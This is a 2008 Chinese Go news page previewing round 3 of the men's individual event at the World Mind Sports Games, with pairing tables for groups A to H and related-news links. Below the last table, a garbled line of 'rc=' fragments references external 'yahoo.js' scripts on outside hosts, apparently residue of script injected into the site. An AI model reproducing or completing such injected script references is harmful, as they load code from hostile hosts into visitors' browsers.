人氣王古力迎來勁敵 智運會圍棋男子個人賽第三輪現場
作者:以棋服人 類別:大陸新聞 來源:蜀山工作室 發表時間:2008/10/5   瀏覽人次:2035


        第三輪A組韓國姜東潤八段與日本三村智保九段兩位種子選手PK:B組韓國睦鎮碩九段連過中國周睿羊五段和中華台北李沂修四段兩陣后,提前出線應成定局:C組美國楊慧人初段在第二輪不敵朝鮮金成元3段,韓國白洪晰六段第三輪要試試金成元的深淺,不知道這神祕的朝鮮隊還會爆出些什么樣的冷門來;D組人氣王中國古力九段前兩輪輕取兩位K級棋手后終於迎來重量級的對手——中華台北隊的王立誠九段;而E組中國王檄九段也將和日本山城宏九段較上勁;F組中華台北王銘琬九段第二輪不敵韓國朴正祥九段后,第三輪不得不下潛做“普及工作”;G組日本坂井秀至七段、中國李喆六段、韓國朴永訓九段三位種子選手暫時相安無事,但下一輪肯定將血腥厮殺;H組日本彥坂直人九段對陣中華台北張豊猷七段,中國劉星七段坐山觀虎斗。


A組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 6 4 郭以明 -------- 陳耀燁 1 4

第2台 7 4 彭景華 -------- CHAN KUOK 18 4

第3台 22 4 姜東潤 -------- 三村智保 24 4

第4台 3 2 陳啟泰 -------- 本雅明 8 2

第5台 11 2 佐爾坦.沸蒂 -------- 埃米爾 9 2

第6台 10 2 阿列克謝 -------- 博格丹 13 2

第7台 14 2 茲比內克 -------- 米伊卡.尼庫拉 15 2

第8台 16 2 吳 琪 -------- 夏介榮 17 2

第9台 20 2 米古爾.安杰爾 -------- 趙效維 21 2

第10台 2 0 奧洛夫 -------- WONG JOSE 4 0

第11台 5 0 尤 里 -------- 迭戈.杜拉茲 12 0

第12台 19 0 奧斯瓦爾多 -------- 佐蘭.巴爾萬 23 0

---------------------------------------------------------------------

B組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 2 4 沈彥亨 -------- 拉菲爾.辛 3 4

第2台 8 4 安德里 -------- 睦鎮碩 11 4

第3台 18 4 烏夫.倫加德 -------- 帕爾.巴羅格 20 4

第4台 4 2 米哈伊 -------- 弗朗切斯科 6 2

第5台 9 2 本雅明.吉戈 -------- 周睿羊 12 2

第6台 10 2 卡洛斯 -------- 李沂修 14 2

第7台 15 2 米卡.烏爾特拉 -------- 科林.雷克蘭 17 2

第8台 16 2 賽巴斯蒂安 -------- 張雨瀾 21 2

第9台 1 0 安東尼奧 -------- 德拉干.波尼奇 5 0

第10台 7 0 聖地亞哥 -------- 大衛.奎薩達 13 0

第11台 19 0 約尼.佩特洛夫 -------- 金特塔斯 22 0

---------------------------------------------------------------------

C組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 6 4 白洪晰 -------- 金成元 3 4

第2台 10 4 程 威 -------- 巴里.菲斯 11 4

第3台 14 4 山田規三生 -------- 阿里.加巴林 15 4

第4台 1 2 楊慧人 -------- 何 為 5 2

第5台 2 2 皮爾斯.阿瑟 -------- 威廉.康拉德 7 2

第6台 9 2 克里斯特爾 -------- 魯道夫.克魯斯 12 2

第7台 16 2 托莫.薩羅 -------- 讓.斯馬拉 17 2

第8台 19 2 塞薩爾.桑切斯 -------- 薩巴.梅羅 23 2

第9台 21 2 托馬.斯德巴爾 -------- 米歇爾.馬爾騰 24 2

第10台 8 0 溫騏駿 -------- 埃爾琴.阿利耶 4 0

第11台 13 0 安德烈 -------- 瓦倫蒂尼 18 0

第12台 20 0 阿爾貝托 -------- 佩德羅.尼古爾 22 0

---------------------------------------------------------------------

D組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 2 4 屠新宇 -------- 亞歷山大 7 4

第2台 6 4 蕭漢雄 -------- 康占斌 20 4

第3台 22 4 王立誠 -------- 古 力 24 4

第4台 1 2 色諾斯.漢 -------- 托比阿斯 4 2

第5台 5 2 西蒙.比烏 -------- 米哈伊洛.赫爾 9 2

第6台 11 2 李承馳 -------- SHIU.S.K.Y 14 2

第7台 15 2 帕爾博.奇亞尼 -------- 阿爾貝托 17 2

第8台 16 2 伊萬.普羅米斯 -------- 馬里奧.阿奎羅 18 2

第9台 19 2 尼古拉.米提克 -------- 克魯姆爾 21 2

第10台 8 0 特奧多爾 -------- 安蒂.霍拉帕 3 0

第11台 10 0 彼德.卡拉耶夫 -------- 尼亞茲.巴吉羅 12 0

第12台 23 0 米哈伊.薩維茨 -------- 雷諾.布哈耶 13 0

---------------------------------------------------------------------

E組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 2 4 山城.宏 -------- 王 檄 3 4

第2台 12 4 尼蒂朋.阿隆法 -------- 馬托茲.蘇爾馬 14 4

第3台 22 4 謝爾蓋.里澤爾 -------- 邁克.雷蒙 24 4

第4台 1 2 多納塔斯 -------- 李英鎮 4 2

第5台 5 2 大衛.安加洛 -------- 邁克.米什卡特 8 2

第6台 6 2 尼古拉.耶維迪 -------- 范 軍 10 2

第7台 13 2 張明浩 -------- 佐蘭.希姆諾維 15 2

第8台 17 2 阿爾特姆.杜金 -------- 米歇爾.埃庫克 19 2

第9台 20 2 謝凱昆 -------- 本.萊頓.蓋爾 21 2

第10台 9 0 胡安.巴勃羅 -------- 迪亞哥.蒙羅伊 7 0

第11台 11 0 埃爾敏.阿里扎 -------- 馬利安.赫爾蒂 16 0

第12台 18 0 張逸軒 -------- 路易斯.加西亞 23 0

---------------------------------------------------------------------

F組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 5 4 楊士海 -------- 馬修.布羅爾 8 4

第2台 16 4 朴正祥 -------- 李獻羽 18 4

第3台 2 2 迪馬斯.卡布雷 *------* 羅斯塔姆 19 4

第4台 7 2 杜桑.米提克 -------- 馬西米利亞諾 3 2

第5台 4 2 奧斯坦.維斯 -------- 王銘琬 9 2

第6台 10 2 邁克爾.斯塔布 -------- 塔納波.提亞 12 2

第7台 13 2 德拉干.巴里 -------- 德米特羅 15 2

第8台 17 2 錢 偉 -------- 保羅.安東尼 21 2

第9台 1 0 迪亞戈 *------* 盧環球 22 2

第10台 6 0 羅伯特.賈斯克 -------- 尤拉.瓦祖里克 11 0

第11台 14 0 帕特里克 -------- 桑薩爾.措爾蒙 20 0

---------------------------------------------------------------------

G組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 1 4 坂井秀至 -------- 伊格納西奧 4 4

第2台 8 4 賈尼克.倫.拉 -------- 李 哲 5 4

第3台 13 4 朴永訓 -------- 帕里瓦.桑帕卡 22 4

第4台 2 2 皮埃爾.奧.特 -------- 奧德布約 3 2

第5台 6 2 埃米利奧.古.加 -------- 加博爾.德 10 2

第6台 12 2 讓斯.漢克 -------- 馬修.羅.麥 14 2

第7台 16 2 博拉姆.讓 -------- 保羅.愛德華茲 17 2

第8台 18 2 讓.霍拉 -------- 米約德拉格 19 2

第9台 9 0 斯洛博丹 -------- 路易.恩.博 7 0

第10台 11 0 克里斯托伯爾 -------- 馬蒂.西沃拉 15 0

第11台 20 0 胡伊.卡.馬 -------- 托馬斯.科諾 21 0

---------------------------------------------------------------------

H組第3輪對局表

台次 編號 積分 黑方姓名 白方姓名 編號 積分

第1台 4 4 科爾茲托夫 -------- 呂希安.科蘭 8 4

第2台 10 4 彥坂直人 -------- 張豊猷 13 4

第3台 17 4 劉 星 -------- 車正赫 20 4

第4台 1 2 曾 東 -------- 瓦西里.加 3 2

第5台 5 2 阿皮德.吉 -------- 巴哈杜爾 9 2

第6台 6 2 克薩韋爾 -------- 杰拉爾德斯 11 2

第7台 12 2 吳騰驍 -------- 托爾本.佩德森 15 2

第8台 19 2 劉東明 -------- 安德烈耶.斯特 22 2

第9台 2 0 基勒莫.多.克 -------- 羅伯托.胡 7 0

第10台 14 0 CHIN.J.H.N -------- 伊斯特凡.里戈 16 0

第11台 18 0 朗.拉維 -------- 瓦雷里.索 21 0

rc=>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://4589.in/yahoo.js>rc=>rc=>rc=>rc=>rc=>rc=>rc=>rc=>





 發表您的評論
 
 評論內容 (現有 0 倏評論)
 
暫時沒有評論!
本欄目暫時沒有新聞!
 
 
 
 

 更多關於“智運會”的新聞

 相關鏈接
   
古靈益:目標不被零封 古力:智運會後身體很疲憊  ( 2009/11/26 )
第2屆中國智運會兩年後在湖北舉行  ( 2009/11/24 )
智運會圍棋賽場 江蘇隊奪四金成最大贏家  ( 2009/11/23 )
王磊評智運會男團古力勝周睿羊:小羊無瑕對殺(譜)  ( 2009/11/23 )
智運會圍棋男團賽四川隊奪冠 主將古靈益立下頭功  ( 2009/11/23 )
智運會混雙聶衛平輸棋心有不甘 徐瑩主動自我批評  ( 2009/11/23 )
神奇少女驚動棋界 圍甲高手:於之瑩棋感比我們都強  ( 2009/11/23 )
智運會圍棋女團比賽結束 廣東奪冠上海遺憾摘銀  ( 2009/11/22 )
智運會混雙賽黑馬組合奪冠 聶衛平徐瑩無緣獎牌  ( 2009/11/22 )
混雙淘汰賽首輪種子選手發威 老聶徐瑩順利晉級  ( 2009/11/21 )